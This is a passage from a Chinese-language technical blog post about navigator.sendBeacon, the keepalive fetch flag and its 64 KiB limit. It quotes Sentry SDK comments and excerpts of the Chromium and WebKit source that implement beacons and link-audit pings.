page, causing a "TypeError: Failed to</span><span class="token comment">// fetch" error and sending a "network_error" client-outcome - in Chrome, the request status shows "(cancelled)".</span><span class="token comment">// The `keepalive` flag keeps outgoing requests alive, even when switching pages. We want this since we're</span><span class="token comment">// frequently sending events right before the user is switching pages (eg. whenfinishing navigation transactions).</span><span class="token comment">// Gotchas:</span><span class="token comment">// - `keepalive` isn't supported by Firefox</span><span class="token comment">// - As per spec (https://fetch.spec.whatwg.org/#http-network-or-cache-fetch), a request with `keepalive: true`</span><span class="token comment">//   and a content length of > 64 kibibytes returns a network error. We will therefore only activate the flag when</span><span class="token comment">//   we're below that limit.</span><span class="token literal-property property">keepalive</span><span class="token operator">:</span> request<span class="token punctuation">.</span>body<span class="token punctuation">.</span>length <span class="token operator">&lt;=</span> <span class="token number">65536</span><span class="token punctuation">,</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>中文機翻：</p><blockquote><p>當切換到不同頁面時，未完成的請求通常會被取消，進而導致「TypeError: Failed to fetch」錯誤，並出現「network_error」。在 Chrome 中，請求狀態會顯示「(cancelled)」。<br>keepalive 標誌可以讓未完成的請求在頁面切換時繼續保持活動狀態。由於我們經常在使用者切換頁面前傳送事件，因此需要這個功能。</p><p>需要注意：</p><ol><li>Firefox 不支援 keepalive。</li><li>根據規範，如果請求設定了 keepalive: true 並且內容長度超過 64 KiB，將會返回網路錯誤。因此，我們只會在請求內容長度低於該限制時啟用此標誌。</li></ol></blockquote><p>但故事還沒完，就像我剛才提到的，這個 65536 的限制並不只是單個請求，而是有個 queue，因此這樣做是不夠的。半年之後，Sentry 也注意到了這個問題，加上了計算 queue size 的邏輯，讓整個機制變得更加穩健：<a href="https://github.com/getsentry/sentry-javascript/pull/7553">fix(browser): Ensure keepalive flag is correctly set for parallel requests #7553</a></p><p><img src="/img/navigator-sendbeacon-64kib-and-source-code/p6.png" alt="Issue 截圖"></p><p>如果之後有想要實作類似的東西，可以直接參考上面 Sentry 的 PR。</p><h2><span id="sendbeacon-的實作">sendBeacon 的實作</span></h2><h3><span id="chromium-的-sendbeacon-實作">Chromium 的 sendBeacon 實作</span></h3><p>最後我們來看一下 sendBeacon 底層的實作，先從 Chromium 開始，我以寫文章時最新的穩定版 131.0.6778.205 為例，相關程式碼在：<a href="https://source.chromium.org/chromium/chromium/src/+/refs/tags/131.0.6778.205:third_party/blink/renderer/modules/beacon/navigator_beacon.cc;l=93">third_party&#x2F;blink&#x2F;renderer&#x2F;modules&#x2F;beacon&#x2F;navigator_beacon.cc</a></p><p>我擷取其中一小段核心程式碼：</p><pre class="line-numbers language-c" data-language="c"><code class="language-c">bool NavigatorBeacon<span class="token operator">::</span><span class="token function">SendBeaconImpl</span><span class="token punctuation">(</span>    ScriptState<span class="token operator">*</span> script_state<span class="token punctuation">,</span>    <span class="token keyword">const</span> String<span class="token operator">&amp;</span> url_string<span class="token punctuation">,</span>    <span class="token keyword">const</span> V8UnionReadableStreamOrXMLHttpRequestBodyInit<span class="token operator">*</span> data<span class="token punctuation">,</span>    ExceptionState<span class="token operator">&amp;</span> exception_state<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  ExecutionContext<span class="token operator">*</span> execution_context <span class="token operator">=</span> ExecutionContext<span class="token operator">::</span><span class="token function">From</span><span class="token punctuation">(</span>script_state<span class="token punctuation">)</span><span class="token punctuation">;</span>  KURL url <span class="token operator">=</span> execution_context<span class="token operator">-></span><span class="token function">CompleteURL</span><span class="token punctuation">(</span>url_string<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span><span class="token function">CanSendBeacon</span><span class="token punctuation">(</span>execution_context<span class="token punctuation">,</span> url<span class="token punctuation">,</span> exception_state<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">return</span> false<span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  bool allowed<span class="token punctuation">;</span>  LocalFrame<span class="token operator">*</span> frame <span class="token operator">=</span> <span class="token function">GetSupplementable</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">DomWindow</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">GetFrame</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span>data<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">switch</span> <span class="token punctuation">(</span>data<span class="token operator">-></span><span class="token function">GetContentType</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>      <span class="token comment">// [...]</span>      <span class="token keyword">case</span> V8UnionReadableStreamOrXMLHttpRequestBodyInit<span class="token operator">::</span>ContentType<span class="token operator">::</span>          kUSVString<span class="token operator">:</span>        UseCounter<span class="token operator">::</span><span class="token function">Count</span><span class="token punctuation">(</span>execution_context<span class="token punctuation">,</span>                          WebFeature<span class="token operator">::</span>kSendBeaconWithUSVString<span class="token punctuation">)</span><span class="token punctuation">;</span>        allowed <span class="token operator">=</span> PingLoader<span class="token operator">::</span><span class="token function">SendBeacon</span><span class="token punctuation">(</span><span class="token operator">*</span>script_state<span class="token punctuation">,</span> frame<span class="token punctuation">,</span> url<span class="token punctuation">,</span>                                         data<span class="token operator">-></span><span class="token function">GetAsUSVString</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">break</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>  <span class="token punctuation">&#125;</span> <span class="token keyword">else</span> <span class="token punctuation">&#123;</span>    allowed <span class="token operator">=</span> PingLoader<span class="token operator">::</span><span class="token function">SendBeacon</span><span class="token punctuation">(</span><span class="token operator">*</span>script_state<span class="token punctuation">,</span> frame<span class="token punctuation">,</span> url<span class="token punctuation">,</span> <span class="token function">String</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>allowed<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    UseCounter<span class="token operator">::</span><span class="token function">Count</span><span class="token punctuation">(</span>execution_context<span class="token punctuation">,</span> WebFeature<span class="token operator">::</span>kSendBeaconQuotaExceeded<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">return</span> allowed<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>開頭的 <code>CanSendBeacon</code> 基本上就是檢查 URL 是否合法而已，合法的話繼續往下走，會判斷要送出的 payload 的 content type，而實際送出是在 <code>PingLoader::SendBeacon</code> 這個方法裡面。</p><p>除此之外可以在程式碼裡面看到 <code>UseCounter::Count</code>，這個是 Chromium 用來追蹤某些功能的使用頻率時會用到的。</p><p><code>PingLoader::SendBeacon</code> 的實作在 <a href="https://source.chromium.org/chromium/chromium/src/+/refs/tags/131.0.6778.205:third_party/blink/renderer/core/loader/ping_loader.cc">third_party&#x2F;blink&#x2F;renderer&#x2F;core&#x2F;loader&#x2F;ping_loader.cc</a>：</p><pre class="line-numbers language-c" data-language="c"><code class="language-c">bool <span class="token function">SendBeaconCommon</span><span class="token punctuation">(</span><span class="token keyword">const</span> ScriptState<span class="token operator">&amp;</span> state<span class="token punctuation">,</span>                      LocalFrame<span class="token operator">*</span> frame<span class="token punctuation">,</span>                      <span class="token keyword">const</span> KURL<span class="token operator">&amp;</span> url<span class="token punctuation">,</span>                      <span class="token keyword">const</span> BeaconData<span class="token operator">&amp;</span> beacon<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>frame<span class="token operator">-></span><span class="token function">DomWindow</span><span class="token punctuation">(</span><span class="token punctuation">)</span>           <span class="token operator">-></span><span class="token function">GetContentSecurityPolicyForWorld</span><span class="token punctuation">(</span><span class="token operator">&amp;</span>state<span class="token punctuation">.</span><span class="token function">World</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span>           <span class="token operator">-></span><span class="token function">AllowConnectToSource</span><span class="token punctuation">(</span>url<span class="token punctuation">,</span> url<span class="token punctuation">,</span> RedirectStatus<span class="token operator">::</span>kNoRedirect<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token comment">// We're simulating a network failure here, so we return 'true'.</span>    <span class="token keyword">return</span> true<span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  ResourceRequest <span class="token function">request</span><span class="token punctuation">(</span>url<span class="token punctuation">)</span><span class="token punctuation">;</span>  request<span class="token punctuation">.</span><span class="token function">SetHttpMethod</span><span class="token punctuation">(</span>http_names<span class="token operator">::</span>kPOST<span class="token punctuation">)</span><span class="token punctuation">;</span>  request<span class="token punctuation">.</span><span class="token function">SetKeepalive</span><span class="token punctuation">(</span>true<span class="token punctuation">)</span><span class="token punctuation">;</span>  request<span class="token punctuation">.</span><span class="token function">SetRequestContext</span><span class="token punctuation">(</span>mojom<span class="token operator">::</span>blink<span class="token operator">::</span>RequestContextType<span class="token operator">::</span>BEACON<span class="token punctuation">)</span><span class="token punctuation">;</span>  beacon<span class="token punctuation">.</span><span class="token function">Serialize</span><span class="token punctuation">(</span>request<span class="token punctuation">)</span><span class="token punctuation">;</span>  FetchParameters <span class="token function">params</span><span class="token punctuation">(</span>std<span class="token operator">::</span><span class="token function">move</span><span class="token punctuation">(</span>request<span class="token punctuation">)</span><span class="token punctuation">,</span>                         <span class="token function">ResourceLoaderOptions</span><span class="token punctuation">(</span><span class="token operator">&amp;</span>state<span class="token punctuation">.</span><span class="token function">World</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token comment">// The spec says:</span>  <span class="token comment">//  - If mimeType is not null:</span>  <span class="token comment">//   - If mimeType value is a CORS-safelisted request-header value for the</span>  <span class="token comment">//     Content-Type header, set corsMode to "no-cors".</span>  <span class="token comment">// As we don't support requests with non CORS-safelisted Content-Type, the</span>  <span class="token comment">// mode should always be "no-cors".</span>  params<span class="token punctuation">.</span><span class="token function">MutableOptions</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span>initiator_info<span class="token punctuation">.</span>name <span class="token operator">=</span>      fetch_initiator_type_names<span class="token operator">::</span>kBeacon<span class="token punctuation">;</span>  frame<span class="token operator">-></span><span class="token function">Client</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">DidDispatchPingLoader</span><span class="token punctuation">(</span>url<span class="token punctuation">)</span><span class="token punctuation">;</span>  FetchUtils<span class="token operator">::</span><span class="token function">LogFetchKeepAliveRequestMetric</span><span class="token punctuation">(</span>      params<span class="token punctuation">.</span><span class="token function">GetResourceRequest</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">GetRequestContext</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span>      FetchUtils<span class="token operator">::</span>FetchKeepAliveRequestState<span class="token operator">::</span>kTotal<span class="token punctuation">)</span><span class="token punctuation">;</span>  Resource<span class="token operator">*</span> resource <span class="token operator">=</span>      RawResource<span class="token operator">::</span><span class="token function">Fetch</span><span class="token punctuation">(</span>params<span class="token punctuation">,</span> frame<span class="token operator">-></span><span class="token function">DomWindow</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">Fetcher</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span> nullptr<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">return</span> resource<span class="token operator">-></span><span class="token function">GetStatus</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">!=</span> ResourceStatus<span class="token operator">::</span>kLoadError<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>開頭先檢查是否違反 CSP，如果沒有違反，就送出一個 keepalive 的請求，然後回傳是否成功。</p><p>值得注意的是在同個檔案中，也有另一個功能做了類似的事情，叫做 <code>PingLoader::SendLinkAuditPing</code>。在 <code>&lt;a&gt;</code> 標籤上有個屬性叫做 <code>ping</code>，當使用者點了連結，瀏覽器就會發送一個請求到 ping 所指定的位置：</p><pre class="line-numbers language-markup" data-language="markup"><code class="language-markup"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>a</span>  <span class="token attr-name">href</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>https://example.com<span class="token punctuation">"</span></span>  <span class="token attr-name">ping</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>https://blog.huli.tw<span class="token punctuation">"</span></span>  <span class="token punctuation">></span></span>click me<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>a</span><span class="token punctuation">></span></span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>這背後一樣是用 keepalive 的 fetch 來實作的：</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token keyword">void</span> PingLoader<span class="token operator">::</span><span class="token function">SendLinkAuditPing</span><span class="token punctuation">(</span>LocalFrame<span class="token operator">*</span> frame<span class="token punctuation">,</span>                                   <span class="token keyword">const</span> KURL<span class="token operator">&amp;</span> ping_url<span class="token punctuation">,</span>                                   <span class="token keyword">const</span> KURL<span class="token operator">&amp;</span> destination_url<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>ping_url<span class="token punctuation">.</span><span class="token function">ProtocolIsInHTTPFamily</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span>    <span class="token keyword">return</span><span class="token punctuation">;</span>  ResourceRequest <span class="token function">request</span><span class="token punctuation">(</span>ping_url<span class="token punctuation">)</span><span class="token punctuation">;</span>  request<span class="token punctuation">.</span><span class="token function">SetHttpMethod</span><span class="token punctuation">(</span>http_names<span class="token operator">::</span>kPOST<span class="token punctuation">)</span><span class="token punctuation">;</span>  request<span class="token punctuation">.</span><span class="token function">SetHTTPContentType</span><span class="token punctuation">(</span><span class="token function">AtomicString</span><span class="token punctuation">(</span><span class="token string">"text/ping"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  request<span class="token punctuation">.</span><span class="token function">SetHttpBody</span><span class="token punctuation">(</span>EncodedFormData<span class="token operator">::</span><span class="token function">Create</span><span class="token punctuation">(</span>base<span class="token operator">::</span><span class="token function">span_from_cstring</span><span class="token punctuation">(</span><span class="token string">"PING"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  request<span class="token punctuation">.</span><span class="token function">SetHttpHeaderField</span><span class="token punctuation">(</span>http_names<span class="token operator">::</span>kCacheControl<span class="token punctuation">,</span>                             <span class="token function">AtomicString</span><span class="token punctuation">(</span><span class="token string">"max-age=0"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  request<span class="token punctuation">.</span><span class="token function">SetHttpHeaderField</span><span class="token punctuation">(</span>http_names<span class="token operator">::</span>kPingTo<span class="token punctuation">,</span>                             <span class="token function">AtomicString</span><span class="token punctuation">(</span>destination_url<span class="token punctuation">.</span><span class="token function">GetString</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  scoped_refptr<span class="token operator">&lt;</span><span class="token keyword">const</span> SecurityOrigin<span class="token operator">></span> ping_origin <span class="token operator">=</span>      SecurityOrigin<span class="token operator">::</span><span class="token function">Create</span><span class="token punctuation">(</span>ping_url<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">ProtocolIs</span><span class="token punctuation">(</span>frame<span class="token operator">-></span><span class="token function">DomWindow</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">Url</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">GetString</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token string">"http"</span><span class="token punctuation">)</span> <span class="token operator">||</span>      frame<span class="token operator">-></span><span class="token function">DomWindow</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">GetSecurityOrigin</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">CanAccess</span><span class="token punctuation">(</span>ping_origin<span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    request<span class="token punctuation">.</span><span class="token function">SetHttpHeaderField</span><span class="token punctuation">(</span>        http_names<span class="token operator">::</span>kPingFrom<span class="token punctuation">,</span>        <span class="token function">AtomicString</span><span class="token punctuation">(</span>frame<span class="token operator">-></span><span class="token function">DomWindow</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">Url</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">GetString</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  request<span class="token punctuation">.</span><span class="token function">SetKeepalive</span><span class="token punctuation">(</span>true<span class="token punctuation">)</span><span class="token punctuation">;</span>  request<span class="token punctuation">.</span><span class="token function">SetReferrerString</span><span class="token punctuation">(</span>Referrer<span class="token operator">::</span><span class="token function">NoReferrer</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  request<span class="token punctuation">.</span><span class="token function">SetReferrerPolicy</span><span class="token punctuation">(</span>network<span class="token operator">::</span>mojom<span class="token operator">::</span>ReferrerPolicy<span class="token operator">::</span>kNever<span class="token punctuation">)</span><span class="token punctuation">;</span>  request<span class="token punctuation">.</span><span class="token function">SetRequestContext</span><span class="token punctuation">(</span>mojom<span class="token operator">::</span>blink<span class="token operator">::</span>RequestContextType<span class="token operator">::</span>PING<span class="token punctuation">)</span><span class="token punctuation">;</span>  FetchParameters <span class="token function">params</span><span class="token punctuation">(</span>      std<span class="token operator">::</span><span class="token function">move</span><span class="token punctuation">(</span>request<span class="token punctuation">)</span><span class="token punctuation">,</span>      <span class="token function">ResourceLoaderOptions</span><span class="token punctuation">(</span>frame<span class="token operator">-></span><span class="token function">DomWindow</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">GetCurrentWorld</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  params<span class="token punctuation">.</span><span class="token function">MutableOptions</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span>initiator_info<span class="token punctuation">.</span>name <span class="token operator">=</span>      fetch_initiator_type_names<span class="token operator">::</span>kPing<span class="token punctuation">;</span>  frame<span class="token operator">-></span><span class="token function">Client</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">DidDispatchPingLoader</span><span class="token punctuation">(</span>ping_url<span class="token punctuation">)</span><span class="token punctuation">;</span>  FetchUtils<span class="token operator">::</span><span class="token function">LogFetchKeepAliveRequestMetric</span><span class="token punctuation">(</span>      params<span class="token punctuation">.</span><span class="token function">GetResourceRequest</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">GetRequestContext</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span>      FetchUtils<span class="token operator">::</span>FetchKeepAliveRequestState<span class="token operator">::</span>kTotal<span class="token punctuation">)</span><span class="token punctuation">;</span>  RawResource<span class="token operator">::</span><span class="token function">Fetch</span><span class="token punctuation">(</span>params<span class="token punctuation">,</span> frame<span class="token operator">-></span><span class="token function">DomWindow</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">Fetcher</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span> nullptr<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h3><span id="safari-的-sendbeacon-實作">Safari 的 sendBeacon 實作</span></h3><p>Safari 的實作在 <a href="https://github.com/WebKit/WebKit/blob/WebKit-7620.1.16.111.5/Source/WebCore/Modules/beacon/NavigatorBeacon.cpp">WebKit&#x2F;Source&#x2F;WebCore&#x2F;Modules&#x2F;beacon<br>&#x2F;NavigatorBeacon.cpp</a>：</p><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp">ExceptionOr<span class="token operator">&lt;</span><span class="token keyword">bool</span><span class="token operator">></span> <span class="token class-name">NavigatorBeacon</span><span class="token double-colon punctuation">::</span><span class="token function">sendBeacon</span><span class="token punctuation">(</span>Document<span class="token operator">&amp;</span> document<span class="token punctuation">,</span> <span class="token keyword">const</span> String<span class="token operator">&amp;</span> url<span class="token punctuation">,</span> std<span class="token double-colon punctuation">::</span>optional<span class="token operator">&lt;</span>FetchBody<span class="token double-colon punctuation">::</span>Init<span class="token operator">></span><span class="token operator">&amp;&amp;</span> body<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    URL parsedUrl <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">completeURL</span><span class="token punctuation">(</span>url<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token comment">// Set parsedUrl to the result of the URL parser steps with url and base. If the algorithm returns an error, or if</span>    <span class="token comment">// parsedUrl's scheme is not "http" or "https", throw a "TypeError" exception and terminate these steps.</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>parsedUrl<span class="token punctuation">.</span><span class="token function">isValid</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span>        <span class="token keyword">return</span> Exception <span class="token punctuation">&#123;</span> ExceptionCode<span class="token double-colon punctuation">::</span>TypeError<span class="token punctuation">,</span> <span class="token string">"This URL is invalid"</span>_s <span class="token punctuation">&#125;</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>parsedUrl<span class="token punctuation">.</span><span class="token function">protocolIsInHTTPFamily</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span>        <span class="token keyword">return</span> Exception <span class="token punctuation">&#123;</span> ExceptionCode<span class="token double-colon punctuation">::</span>TypeError<span class="token punctuation">,</span> <span class="token string">"Beacons can only be sent over HTTP(S)"</span>_s <span class="token punctuation">&#125;</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>document<span class="token punctuation">.</span><span class="token function">frame</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span>        <span class="token keyword">return</span> <span class="token boolean">false</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>document<span class="token punctuation">.</span><span class="token function">shouldBypassMainWorldContentSecurityPolicy</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">&amp;&amp;</span> <span class="token operator">!</span>document<span class="token punctuation">.</span><span class="token function">checkedContentSecurityPolicy</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">allowConnectToSource</span><span class="token punctuation">(</span>parsedUrl<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token comment">// We simulate a network error so we return true here. This is consistent with Blink.</span>        <span class="token keyword">return</span> <span class="token boolean">true</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    ResourceRequest <span class="token function">request</span><span class="token punctuation">(</span>parsedUrl<span class="token punctuation">)</span><span class="token punctuation">;</span>    request<span class="token punctuation">.</span><span class="token function">setHTTPMethod</span><span class="token punctuation">(</span><span class="token string">"POST"</span>_s<span class="token punctuation">)</span><span class="token punctuation">;</span>    request<span class="token punctuation">.</span><span class="token function">setRequester</span><span class="token punctuation">(</span>ResourceRequestRequester<span class="token double-colon punctuation">::</span>Beacon<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span>RefPtr documentLoader <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">loader</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span>        request<span class="token punctuation">.</span><span class="token function">setIsAppInitiated</span><span class="token punctuation">(</span>documentLoader<span class="token operator">-></span><span class="token function">lastNavigationWasAppInitiated</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    ResourceLoaderOptions options<span class="token punctuation">;</span>    options<span class="token punctuation">.</span>credentials <span class="token operator">=</span> FetchOptions<span class="token double-colon punctuation">::</span>Credentials<span class="token double-colon punctuation">::</span>Include<span class="token punctuation">;</span>    options<span class="token punctuation">.</span>cache <span class="token operator">=</span> FetchOptions<span class="token double-colon punctuation">::</span>Cache<span class="token double-colon punctuation">::</span>NoCache<span class="token punctuation">;</span>    options<span class="token punctuation">.</span>keepAlive <span class="token operator">=</span> <span class="token boolean">true</span><span class="token punctuation">;</span>    options<span class="token punctuation">.</span>sendLoadCallbacks <span class="token operator">=</span> SendCallbackPolicy<span class="token double-colon punctuation">::</span>SendCallbacks<span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span>body<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        options<span class="token punctuation">.</span>mode <span class="token operator">=</span> FetchOptions<span class="token double-colon punctuation">::</span>Mode<span class="token double-colon punctuation">::</span>NoCors<span class="token punctuation">;</span>        String mimeType<span class="token punctuation">;</span>        <span class="token keyword">auto</span> result <span class="token operator">=</span> <span class="token class-name">FetchBody</span><span class="token double-colon punctuation">::</span><span class="token function">extract</span><span class="token punctuation">(</span><span class="token function">WTFMove</span><span class="token punctuation">(</span>body<span class="token punctuation">.</span><span class="token function">value</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">,</span> mimeType<span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">if</span> <span class="token punctuation">(</span>result<span class="token punctuation">.</span><span class="token function">hasException</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span>            <span class="token keyword">return</span> result<span class="token punctuation">.</span><span class="token function">releaseException</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">auto</span> fetchBody <span class="token operator">=</span> result<span class="token punctuation">.</span><span class="token function">releaseReturnValue</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">if</span> <span class="token punctuation">(</span>fetchBody<span class="token punctuation">.</span><span class="token function">isReadableStream</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span>            <span class="token keyword">return</span> Exception <span class="token punctuation">&#123;</span> ExceptionCode<span class="token double-colon punctuation">::</span>TypeError<span class="token punctuation">,</span> <span class="token string">"Beacons cannot send ReadableStream body"</span>_s <span class="token punctuation">&#125;</span><span class="token punctuation">;</span>        request<span class="token punctuation">.</span><span class="token function">setHTTPBody</span><span class="token punctuation">(</span>fetchBody<span class="token punctuation">.</span><span class="token function">bodyAsFormData</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>mimeType<span class="token punctuation">.</span><span class="token function">isEmpty</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>            request<span class="token punctuation">.</span><span class="token function">setHTTPContentType</span><span class="token punctuation">(</span>mimeType<span class="token punctuation">)</span><span class="token punctuation">;</span>            <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span><span class="token function">isCrossOriginSafeRequestHeader</span><span class="token punctuation">(</span>HTTPHeaderName<span class="token double-colon punctuation">::</span>ContentType<span class="token punctuation">,</span> mimeType<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>                options<span class="token punctuation">.</span>mode <span class="token 